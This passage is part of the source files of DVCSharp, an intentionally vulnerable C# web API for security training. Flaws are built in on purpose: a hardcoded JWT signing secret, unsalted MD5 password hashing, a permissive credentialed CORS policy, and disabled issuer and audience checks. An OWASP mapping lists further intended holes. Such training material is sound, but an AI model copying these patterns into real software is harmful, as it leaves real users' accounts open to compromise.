\n \n" 439 | }, 440 | "url": { 441 | "raw": "http://localhost:5000/api/imports", 442 | "protocol": "http", 443 | "host": [ 444 | "localhost" 445 | ], 446 | "port": "5000", 447 | "path": [ 448 | "api", 449 | "imports" 450 | ] 451 | } 452 | }, 453 | "response": [] 454 | } 455 | ], 456 | "auth": { 457 | "type": "bearer", 458 | "bearer": [ 459 | { 460 | "key": "token", 461 | "value": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdDFAdGVzdC5jb20iLCJyb2xlIjoiVXNlciIsImV4cCI6MTU2NDA2NDgyNCwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdC5sb2NhbC8iLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0LmxvY2FsLyJ9.CblEHNbmxUYVgZhGRkon6GC4julL7WtZtKF-yIRMh1A", 462 | "type": "string" 463 | } 464 | ] 465 | }, 466 | "event": [ 467 | { 468 | "listen": "prerequest", 469 | "script": { 470 | "id": "ea77644c-558c-4f74-baee-3f9b7f428bf0", 471 | "type": "text/javascript", 472 | "exec": [ 473 | "" 474 | ] 475 | } 476 | }, 477 | { 478 | "listen": "test", 479 | "script": { 480 | "id": "900d984f-0d66-4b9b-b52b-37ebf5c2241c", 481 | "type": "text/javascript", 482 | "exec": [ 483 | "" 484 | ] 485 | } 486 | } 487 | ] 488 | } -------------------------------------------------------------------------------- /Data/GenericDataContext.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.EntityFrameworkCore; 2 | using dvcsharp_core_api.Models; 3 | 4 | namespace dvcsharp_core_api.Data 5 | { 6 | public class GenericDataContext : DbContext 7 | { 8 | public GenericDataContext(DbContextOptions options) : base(options) 9 | { 10 | } 11 | 12 | public DbSet Users { get; set; } 13 | public DbSet PasswordResetRequests { get; set; } 14 | public DbSet Products { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM microsoft/dotnet 2 | LABEL MAINTAINER "Appsecco" 3 | 4 | ENV ASPNETCORE_URLS=http://0.0.0.0:5000 5 | 6 | COPY . /app 7 | 8 | WORKDIR /app 9 | 10 | RUN dotnet restore \ 11 | && dotnet ef database update 12 | 13 | EXPOSE 5000 14 | 15 | CMD ["dotnet", "watch", "run"] 16 | -------------------------------------------------------------------------------- /MIT-LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2022 Appsecco Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /Migrations/20180427052355_InitialCreate.Designer.cs: -------------------------------------------------------------------------------- 1 | // 2 | using dvcsharp_core_api.Data; 3 | using Microsoft.EntityFrameworkCore; 4 | using Microsoft.EntityFrameworkCore.Infrastructure; 5 | using Microsoft.EntityFrameworkCore.Metadata; 6 | using Microsoft.EntityFrameworkCore.Migrations; 7 | using Microsoft.EntityFrameworkCore.Storage; 8 | using Microsoft.EntityFrameworkCore.Storage.Internal; 9 | using System; 10 | 11 | namespace dvcsharpcoreapi.Migrations 12 | { 13 | [DbContext(typeof(GenericDataContext))] 14 | [Migration("20180427052355_InitialCreate")] 15 | partial class InitialCreate 16 | { 17 | protected override void BuildTargetModel(ModelBuilder modelBuilder) 18 | { 19 | #pragma warning disable 612, 618 20 | modelBuilder 21 | .HasAnnotation("ProductVersion", "2.0.2-rtm-10011"); 22 | 23 | modelBuilder.Entity("dvcsharp_core_api.Models.User", b => 24 | { 25 | b.Property("ID") 26 | .ValueGeneratedOnAdd(); 27 | 28 | b.Property("createdAt"); 29 | 30 | b.Property("email"); 31 | 32 | b.Property("name"); 33 | 34 | b.Property("password"); 35 | 36 | b.Property("role"); 37 | 38 | b.Property("updatedAt"); 39 | 40 | b.HasKey("ID"); 41 | 42 | b.ToTable("Users"); 43 | }); 44 | #pragma warning restore 612, 618 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /Migrations/20180427052355_InitialCreate.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.EntityFrameworkCore.Migrations; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace dvcsharpcoreapi.Migrations 6 | { 7 | public partial class InitialCreate : Migration 8 | { 9 | protected override void Up(MigrationBuilder migrationBuilder) 10 | { 11 | migrationBuilder.CreateTable( 12 | name: "Users", 13 | columns: table => new 14 | { 15 | ID = table.Column(nullable: false) 16 | .Annotation("Sqlite:Autoincrement", true), 17 | createdAt = table.Column(nullable: false), 18 | email = table.Column(nullable: true), 19 | name = table.Column(nullable: true), 20 | password = table.Column(nullable: true), 21 | role = table.Column(nullable: true), 22 | updatedAt = table.Column(nullable: false) 23 | }, 24 | constraints: table => 25 | { 26 | table.PrimaryKey("PK_Users", x => x.ID); 27 | }); 28 | } 29 | 30 | protected override void Down(MigrationBuilder migrationBuilder) 31 | { 32 | migrationBuilder.DropTable( 33 | name: "Users"); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /Migrations/20180514042927_AddPasswordRestRequest.Designer.cs: -------------------------------------------------------------------------------- 1 | // 2 | using dvcsharp_core_api.Data; 3 | using Microsoft.EntityFrameworkCore; 4 | using Microsoft.EntityFrameworkCore.Infrastructure; 5 | using Microsoft.EntityFrameworkCore.Metadata; 6 | using Microsoft.EntityFrameworkCore.Migrations; 7 | using Microsoft.EntityFrameworkCore.Storage; 8 | using Microsoft.EntityFrameworkCore.Storage.Internal; 9 | using System; 10 | 11 | namespace dvcsharpcoreapi.Migrations 12 | { 13 | [DbContext(typeof(GenericDataContext))] 14 | [Migration("20180514042927_AddPasswordRestRequest")] 15 | partial class AddPasswordRestRequest 16 | { 17 | protected override void BuildTargetModel(ModelBuilder modelBuilder) 18 | { 19 | #pragma warning disable 612, 618 20 | modelBuilder 21 | .HasAnnotation("ProductVersion", "2.0.2-rtm-10011"); 22 | 23 | modelBuilder.Entity("dvcsharp_core_api.Models.PasswordResetRequest", b => 24 | { 25 | b.Property("ID") 26 | .ValueGeneratedOnAdd(); 27 | 28 | b.Property("createdAt"); 29 | 30 | b.Property("email"); 31 | 32 | b.Property("key"); 33 | 34 | b.Property("password"); 35 | 36 | b.Property("passwordConfirmation"); 37 | 38 | b.Property("updatedAt"); 39 | 40 | b.HasKey("ID"); 41 | 42 | b.ToTable("PasswordResetRequests"); 43 | }); 44 | 45 | modelBuilder.Entity("dvcsharp_core_api.Models.User", b => 46 | { 47 | b.Property("ID") 48 | .ValueGeneratedOnAdd(); 49 | 50 | b.Property("createdAt"); 51 | 52 | b.Property("email") 53 | .IsRequired(); 54 | 55 | b.Property("name") 56 | .IsRequired(); 57 | 58 | b.Property("password") 59 | .IsRequired(); 60 | 61 | b.Property("role") 62 | .IsRequired(); 63 | 64 | b.Property("updatedAt"); 65 | 66 | b.HasKey("ID"); 67 | 68 | b.ToTable("Users"); 69 | }); 70 | #pragma warning restore 612, 618 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /Migrations/20180514042927_AddPasswordRestRequest.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.EntityFrameworkCore.Migrations; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace dvcsharpcoreapi.Migrations 6 | { 7 | public partial class AddPasswordRestRequest : Migration 8 | { 9 | protected override void Up(MigrationBuilder migrationBuilder) 10 | { 11 | // migrationBuilder.AlterColumn( 12 | // name: "role", 13 | // table: "Users", 14 | // nullable: false, 15 | // oldClrType: typeof(string), 16 | // oldNullable: true); 17 | 18 | // migrationBuilder.AlterColumn( 19 | // name: "password", 20 | // table: "Users", 21 | // nullable: false, 22 | // oldClrType: typeof(string), 23 | // oldNullable: true); 24 | 25 | // migrationBuilder.AlterColumn( 26 | // name: "name", 27 | // table: "Users", 28 | // nullable: false, 29 | // oldClrType: typeof(string), 30 | // oldNullable: true); 31 | 32 | // migrationBuilder.AlterColumn( 33 | // name: "email", 34 | // table: "Users", 35 | // nullable: false, 36 | // oldClrType: typeof(string), 37 | // oldNullable: true); 38 | 39 | migrationBuilder.CreateTable( 40 | name: "PasswordResetRequests", 41 | columns: table => new 42 | { 43 | ID = table.Column(nullable: false) 44 | .Annotation("Sqlite:Autoincrement", true), 45 | createdAt = table.Column(nullable: false), 46 | email = table.Column(nullable: true), 47 | key = table.Column(nullable: true), 48 | password = table.Column(nullable: true), 49 | passwordConfirmation = table.Column(nullable: true), 50 | updatedAt = table.Column(nullable: false) 51 | }, 52 | constraints: table => 53 | { 54 | table.PrimaryKey("PK_PasswordResetRequests", x => x.ID); 55 | }); 56 | } 57 | 58 | protected override void Down(MigrationBuilder migrationBuilder) 59 | { 60 | migrationBuilder.DropTable( 61 | name: "PasswordResetRequests"); 62 | 63 | // migrationBuilder.AlterColumn( 64 | // name: "role", 65 | // table: "Users", 66 | // nullable: true, 67 | // oldClrType: typeof(string)); 68 | 69 | // migrationBuilder.AlterColumn( 70 | // name: "password", 71 | // table: "Users", 72 | // nullable: true, 73 | // oldClrType: typeof(string)); 74 | 75 | // migrationBuilder.AlterColumn( 76 | // name: "name", 77 | // table: "Users", 78 | // nullable: true, 79 | // oldClrType: typeof(string)); 80 | 81 | // migrationBuilder.AlterColumn( 82 | // name: "email", 83 | // table: "Users", 84 | // nullable: true, 85 | // oldClrType: typeof(string)); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /Migrations/20180515161327_AddProduct.Designer.cs: -------------------------------------------------------------------------------- 1 | // 2 | using dvcsharp_core_api.Data; 3 | using Microsoft.EntityFrameworkCore; 4 | using Microsoft.EntityFrameworkCore.Infrastructure; 5 | using Microsoft.EntityFrameworkCore.Metadata; 6 | using Microsoft.EntityFrameworkCore.Migrations; 7 | using Microsoft.EntityFrameworkCore.Storage; 8 | using Microsoft.EntityFrameworkCore.Storage.Internal; 9 | using System; 10 | 11 | namespace dvcsharpcoreapi.Migrations 12 | { 13 | [DbContext(typeof(GenericDataContext))] 14 | [Migration("20180515161327_AddProduct")] 15 | partial class AddProduct 16 | { 17 | protected override void BuildTargetModel(ModelBuilder modelBuilder) 18 | { 19 | #pragma warning disable 612, 618 20 | modelBuilder 21 | .HasAnnotation("ProductVersion", "2.0.2-rtm-10011"); 22 | 23 | modelBuilder.Entity("dvcsharp_core_api.Models.PasswordResetRequest", b => 24 | { 25 | b.Property("ID") 26 | .ValueGeneratedOnAdd(); 27 | 28 | b.Property("createdAt"); 29 | 30 | b.Property("email"); 31 | 32 | b.Property("key"); 33 | 34 | b.Property("password"); 35 | 36 | b.Property("passwordConfirmation"); 37 | 38 | b.Property("updatedAt"); 39 | 40 | b.HasKey("ID"); 41 | 42 | b.ToTable("PasswordResetRequests"); 43 | }); 44 | 45 | modelBuilder.Entity("dvcsharp_core_api.Models.Product", b => 46 | { 47 | b.Property("ID") 48 | .ValueGeneratedOnAdd(); 49 | 50 | b.Property("description") 51 | .IsRequired(); 52 | 53 | b.Property("name") 54 | .IsRequired() 55 | .HasMaxLength(60); 56 | 57 | b.Property("skuId") 58 | .IsRequired(); 59 | 60 | b.Property("unitPrice"); 61 | 62 | b.HasKey("ID"); 63 | 64 | b.ToTable("Products"); 65 | }); 66 | 67 | modelBuilder.Entity("dvcsharp_core_api.Models.User", b => 68 | { 69 | b.Property("ID") 70 | .ValueGeneratedOnAdd(); 71 | 72 | b.Property("createdAt"); 73 | 74 | b.Property("email") 75 | .IsRequired(); 76 | 77 | b.Property("name") 78 | .IsRequired(); 79 | 80 | b.Property("password") 81 | .IsRequired(); 82 | 83 | b.Property("role") 84 | .IsRequired(); 85 | 86 | b.Property("updatedAt"); 87 | 88 | b.HasKey("ID"); 89 | 90 | b.ToTable("Users"); 91 | }); 92 | #pragma warning restore 612, 618 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /Migrations/20180515161327_AddProduct.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.EntityFrameworkCore.Migrations; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace dvcsharpcoreapi.Migrations 6 | { 7 | public partial class AddProduct : Migration 8 | { 9 | protected override void Up(MigrationBuilder migrationBuilder) 10 | { 11 | migrationBuilder.CreateTable( 12 | name: "Products", 13 | columns: table => new 14 | { 15 | ID = table.Column(nullable: false) 16 | .Annotation("Sqlite:Autoincrement", true), 17 | description = table.Column(nullable: false), 18 | name = table.Column(maxLength: 60, nullable: false), 19 | skuId = table.Column(nullable: false), 20 | unitPrice = table.Column(nullable: false) 21 | }, 22 | constraints: table => 23 | { 24 | table.PrimaryKey("PK_Products", x => x.ID); 25 | }); 26 | } 27 | 28 | protected override void Down(MigrationBuilder migrationBuilder) 29 | { 30 | migrationBuilder.DropTable( 31 | name: "Products"); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /Migrations/GenericDataContextModelSnapshot.cs: -------------------------------------------------------------------------------- 1 | // 2 | using dvcsharp_core_api.Data; 3 | using Microsoft.EntityFrameworkCore; 4 | using Microsoft.EntityFrameworkCore.Infrastructure; 5 | using Microsoft.EntityFrameworkCore.Metadata; 6 | using Microsoft.EntityFrameworkCore.Migrations; 7 | using Microsoft.EntityFrameworkCore.Storage; 8 | using Microsoft.EntityFrameworkCore.Storage.Internal; 9 | using System; 10 | 11 | namespace dvcsharpcoreapi.Migrations 12 | { 13 | [DbContext(typeof(GenericDataContext))] 14 | partial class GenericDataContextModelSnapshot : ModelSnapshot 15 | { 16 | protected override void BuildModel(ModelBuilder modelBuilder) 17 | { 18 | #pragma warning disable 612, 618 19 | modelBuilder 20 | .HasAnnotation("ProductVersion", "2.0.2-rtm-10011"); 21 | 22 | modelBuilder.Entity("dvcsharp_core_api.Models.PasswordResetRequest", b => 23 | { 24 | b.Property("ID") 25 | .ValueGeneratedOnAdd(); 26 | 27 | b.Property("createdAt"); 28 | 29 | b.Property("email"); 30 | 31 | b.Property("key"); 32 | 33 | b.Property("password"); 34 | 35 | b.Property("passwordConfirmation"); 36 | 37 | b.Property("updatedAt"); 38 | 39 | b.HasKey("ID"); 40 | 41 | b.ToTable("PasswordResetRequests"); 42 | }); 43 | 44 | modelBuilder.Entity("dvcsharp_core_api.Models.Product", b => 45 | { 46 | b.Property("ID") 47 | .ValueGeneratedOnAdd(); 48 | 49 | b.Property("description") 50 | .IsRequired(); 51 | 52 | b.Property("name") 53 | .IsRequired() 54 | .HasMaxLength(60); 55 | 56 | b.Property("skuId") 57 | .IsRequired(); 58 | 59 | b.Property("unitPrice"); 60 | 61 | b.HasKey("ID"); 62 | 63 | b.ToTable("Products"); 64 | }); 65 | 66 | modelBuilder.Entity("dvcsharp_core_api.Models.User", b => 67 | { 68 | b.Property("ID") 69 | .ValueGeneratedOnAdd(); 70 | 71 | b.Property("createdAt"); 72 | 73 | b.Property("email") 74 | .IsRequired(); 75 | 76 | b.Property("name") 77 | .IsRequired(); 78 | 79 | b.Property("password") 80 | .IsRequired(); 81 | 82 | b.Property("role") 83 | .IsRequired(); 84 | 85 | b.Property("updatedAt"); 86 | 87 | b.HasKey("ID"); 88 | 89 | b.ToTable("Users"); 90 | }); 91 | #pragma warning restore 612, 618 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /Models/AuthorizationRequest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class AuthorizationRequest 7 | { 8 | [EmailAddress] 9 | [Required] 10 | public string email { get; set; } 11 | 12 | [Required] 13 | public string password { get; set; } 14 | } 15 | } -------------------------------------------------------------------------------- /Models/AuthorizationResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class AuthorizationResponse 7 | { 8 | public string role; 9 | public string accessToken; 10 | } 11 | } -------------------------------------------------------------------------------- /Models/PasswordResetRequest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class PasswordResetRequest 7 | { 8 | public int ID { get; set; } 9 | public string key { get; set; } 10 | public string email { get; set; } 11 | public string password { get; set; } 12 | public string passwordConfirmation { get; set; } 13 | public DateTime createdAt { get; set; } 14 | public DateTime updatedAt { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /Models/Product.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class Product 7 | { 8 | public int ID { get; set; } 9 | 10 | [StringLength(60)] 11 | [Required] 12 | public string name { get; set; } 13 | 14 | [Required] 15 | public string description { get; set; } 16 | 17 | [Required] 18 | public string skuId { get; set; } 19 | 20 | [Required] 21 | [Range(1, int.MaxValue, ErrorMessage = "Please enter a value greater than {1}")] 22 | public int unitPrice { get; set; } 23 | 24 | public string imageUrl; 25 | public string category; 26 | } 27 | } -------------------------------------------------------------------------------- /Models/RegistrationRequest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class RegistrationRequest 7 | { 8 | [StringLength(60)] 9 | [Required] 10 | public string name { get; set; } 11 | 12 | [EmailAddress] 13 | [Required] 14 | public string email { get; set; } 15 | 16 | [Required] 17 | public string password { get; set; } 18 | 19 | [Compare("password", ErrorMessage = "The passwords do not match.")] 20 | [Required] 21 | public string passwordConfirmation { get; set; } 22 | } 23 | } -------------------------------------------------------------------------------- /Models/User.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | using System.Security.Cryptography; 4 | using Microsoft.EntityFrameworkCore; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Security.Claims; 8 | using dvcsharp_core_api.Data; 9 | 10 | namespace dvcsharp_core_api.Models 11 | { 12 | public class User 13 | { 14 | public const string RoleUser = "User"; 15 | public const string RoleSupport = "Support"; 16 | public const string RoleAdministrator = "Administrator"; 17 | public const string TokenSecret = "f449a71cff1d56a122c84fa478c16af9075e5b4b8527787b56580773242e40ce"; 18 | 19 | public int ID { get; set; } 20 | 21 | [Required] 22 | public string name { get; set; } 23 | [Required] 24 | public string email { get; set; } 25 | [Required] 26 | public string role { get; set; } 27 | [Required] 28 | [System.Runtime.Serialization.IgnoreDataMember] 29 | public string password { get; set; } 30 | [Required] 31 | public DateTime createdAt { get; set; } 32 | [Required] 33 | public DateTime updatedAt { get; set; } 34 | 35 | public void updatePassword(string password) 36 | { 37 | this.password = getHashedPassword(password); 38 | } 39 | 40 | public string createAccessToken() 41 | { 42 | string secret = TokenSecret; 43 | string issuer = "http://localhost.local/"; 44 | string audience = "http://localhost.local/"; 45 | 46 | var claims = new[] 47 | { 48 | new Claim("name", this.email), 49 | new Claim("role", this.role) 50 | }; 51 | 52 | var signingKey = new Microsoft.IdentityModel. 53 | Tokens.SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret)); 54 | 55 | var creds = new Microsoft.IdentityModel. 56 | Tokens.SigningCredentials(signingKey, 57 | Microsoft.IdentityModel.Tokens.SecurityAlgorithms.HmacSha256); 58 | 59 | var token = new System.IdentityModel.Tokens.Jwt.JwtSecurityToken( 60 | issuer: issuer, 61 | audience: audience, 62 | expires: DateTime.Now.AddMinutes(30), 63 | claims: claims, 64 | signingCredentials: creds 65 | ); 66 | 67 | return (new System.IdentityModel.Tokens. 68 | Jwt.JwtSecurityTokenHandler().WriteToken(token)); 69 | } 70 | 71 | private static string getHashedPassword(string password) 72 | { 73 | var md5 = MD5.Create(); 74 | var hash = md5.ComputeHash(System.Text.Encoding.ASCII.GetBytes(password)); 75 | 76 | return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); 77 | } 78 | 79 | public static AuthorizationResponse authorizeCreateAccessToken(GenericDataContext _context, 80 | AuthorizationRequest authorizationRequest) 81 | { 82 | AuthorizationResponse response = null; 83 | 84 | User user = _context.Users. 85 | Where(b => b.email == authorizationRequest.email). 86 | FirstOrDefault(); 87 | 88 | if(user == null) { 89 | return response; 90 | } 91 | 92 | if(getHashedPassword(authorizationRequest.password) != user.password) { 93 | return response; 94 | } 95 | 96 | response = new AuthorizationResponse(); 97 | response.role = user.role; 98 | response.accessToken = user.createAccessToken(); 99 | 100 | return response; 101 | } 102 | } 103 | } -------------------------------------------------------------------------------- /Models/UserUpdateRequest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel.DataAnnotations; 3 | 4 | namespace dvcsharp_core_api.Models 5 | { 6 | public class UserUpdateRequest 7 | { 8 | [StringLength(60)] 9 | [Required] 10 | public string name { get; set; } 11 | 12 | [EmailAddress] 13 | [Required] 14 | public string email { get; set; } 15 | 16 | [Required] 17 | public string role { get; set; } 18 | 19 | [Required] 20 | public string password { get; set; } 21 | 22 | [Compare("password", ErrorMessage = "The passwords do not match.")] 23 | [Required] 24 | public string passwordConfirmation { get; set; } 25 | } 26 | } -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Threading.Tasks; 6 | using Microsoft.AspNetCore; 7 | using Microsoft.AspNetCore.Hosting; 8 | using Microsoft.Extensions.Configuration; 9 | using Microsoft.Extensions.Logging; 10 | 11 | namespace dvcsharp_core_api 12 | { 13 | public class Program 14 | { 15 | public static void Main(string[] args) 16 | { 17 | BuildWebHost(args).Run(); 18 | } 19 | 20 | public static IWebHost BuildWebHost(string[] args) => 21 | WebHost.CreateDefaultBuilder(args) 22 | .UseStartup() 23 | .Build(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Damn Vulnerable C# Application (API Only) 2 | 3 | ## Getting Started 4 | 5 | **Note:** This is a deliberately vulnerable app, please do not host it on production or Internet/public facing servers. Use with caution. 6 | 7 | ### Docker 8 | 9 | ``` 10 | docker-compose up 11 | ``` 12 | 13 | ### Manual 14 | 15 | Install .NET Core 2.x SDK 16 | [Microsoft .NET Core SDK](https://www.microsoft.com/net/download/macos) 17 | 18 | Install dependencies and migrate database: 19 | 20 | ``` 21 | dotnet restore 22 | dotnet ef database update 23 | ``` 24 | 25 | Start application server: 26 | 27 | ``` 28 | dotnet run 29 | ``` 30 | 31 | Start application server with watcher for auto-reload on change: 32 | 33 | ``` 34 | dotnet watch run 35 | ``` 36 | 37 | ## Build Docker 38 | 39 | * To build a docker image run the following command 40 | 41 | ```bash 42 | docker build -t appsecco/dvcsharp . 43 | ``` 44 | 45 | * To run the docker container 46 | 47 | ```bash 48 | docker run -d --name dvcsharp -it -p 5000:5000 appsecco/dvcsharp 49 | ``` 50 | 51 | ## Solution 52 | 53 | The [documentation-dvcsharp-book](./documentation-dvcsharp-book) folder has instructions to use the app and exploit vulnerabilities that have been programmed. 54 | -------------------------------------------------------------------------------- /Startup.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Builder; 6 | using Microsoft.AspNetCore.Hosting; 7 | using Microsoft.AspNetCore.Http; 8 | using Microsoft.Extensions.Configuration; 9 | using Microsoft.Extensions.DependencyInjection; 10 | using Microsoft.Extensions.Logging; 11 | using Microsoft.Extensions.Options; 12 | using Microsoft.EntityFrameworkCore; 13 | using Microsoft.AspNetCore.Authentication.JwtBearer; 14 | using Microsoft.IdentityModel.Tokens; 15 | using System.Text; 16 | using dvcsharp_core_api.Data; 17 | 18 | namespace dvcsharp_core_api 19 | { 20 | public class Startup 21 | { 22 | public Startup(IConfiguration configuration) 23 | { 24 | Configuration = configuration; 25 | } 26 | 27 | public IConfiguration Configuration { get; } 28 | 29 | public void ConfigureServices(IServiceCollection services) 30 | { 31 | services.AddDbContext(options => 32 | options.UseSqlite(Configuration.GetConnectionString("DefaultConnection"))); 33 | 34 | services.AddCors(options => 35 | { 36 | options.AddPolicy("CorsPolicy", 37 | builder => builder.AllowAnyOrigin() 38 | .AllowAnyMethod() 39 | .AllowAnyHeader() 40 | .AllowCredentials() 41 | .Build()); 42 | }); 43 | 44 | services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme) 45 | .AddJwtBearer(options => { 46 | options.TokenValidationParameters = new TokenValidationParameters 47 | { 48 | ValidateIssuer = false, 49 | ValidateAudience = false, 50 | ValidateIssuerSigningKey = true, 51 | IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8. 52 | GetBytes(Models.User.TokenSecret)) 53 | }; 54 | }); 55 | 56 | services.AddMvc(); 57 | } 58 | 59 | public void Configure(IApplicationBuilder app, IHostingEnvironment env) 60 | { 61 | if (env.IsDevelopment()) 62 | { 63 | app.UseDeveloperExceptionPage(); 64 | } 65 | 66 | app.UseCors("CorsPolicy"); 67 | app.UseAuthentication(); 68 | app.UseMvc(); 69 | 70 | app.Run(async(context) => { 71 | await context.Response.WriteAsync("DVCSharp API: Route not found!"); 72 | }); 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /appsettings.Development.json: -------------------------------------------------------------------------------- 1 | { 2 | "Logging": { 3 | "IncludeScopes": false, 4 | "LogLevel": { 5 | "Default": "Debug", 6 | "System": "Information", 7 | "Microsoft": "Information" 8 | } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /appsettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "ConnectionStrings": { 3 | "DefaultConnection": "FileName=tmp/DVCSharp.db" 4 | }, 5 | "Logging": { 6 | "IncludeScopes": false, 7 | "Debug": { 8 | "LogLevel": { 9 | "Default": "Warning" 10 | } 11 | }, 12 | "Console": { 13 | "LogLevel": { 14 | "Default": "Warning" 15 | } 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | app: 4 | build: . 5 | command: ["bash", "-c", "./start.sh"] 6 | volumes: 7 | - .:/app 8 | ports: 9 | - "5000:5000" 10 | 11 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/.gitignore: -------------------------------------------------------------------------------- 1 | _book 2 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/MIT-LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2022 Appsecco Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/OWASP-Top-10-Mapping.md: -------------------------------------------------------------------------------- 1 | # OWASP Top 10 2017 Mapping 2 | 3 | | API Feature | OWASP Top 10 2017 Mapping | 4 | | -------------------------------------- | --------------------------------- | 5 | | Register User | | 6 | | Authentication and get access token | A6:2017-Security Misconfiguration | 7 | | Get token info | | 8 | | Update user | A5:2017-Broken Access Control | 9 | | Import user | | 10 | | Delete user | A5:2017-Broken Access Control | 11 | | SSO authentication to get access token | A2:2017-Broken Authentication | 12 | | Password reset | A2:2017-Broken Authentication | 13 | | List products | | 14 | | Create products | | 15 | | Export products | | 16 | | Search Product | A1:2017 Injection | 17 | | Generic import entities | A8:2017-Insecure Deserialization | 18 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/README.md: -------------------------------------------------------------------------------- 1 | # Damn Vulnerable C# Web Application (DVCSharp) 2 | 3 | *DVCSharp* is an intentionally vulnerable API first web application created to demonstrate and practice common vulnerabilities affecting C# based web applications written for .NET Core framework. 4 | 5 | -------------------------------------------------------------------------------- /documentation-dvcsharp-book/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [Introduction](README.md) 4 | * [API Usage](api_usage.md) 5 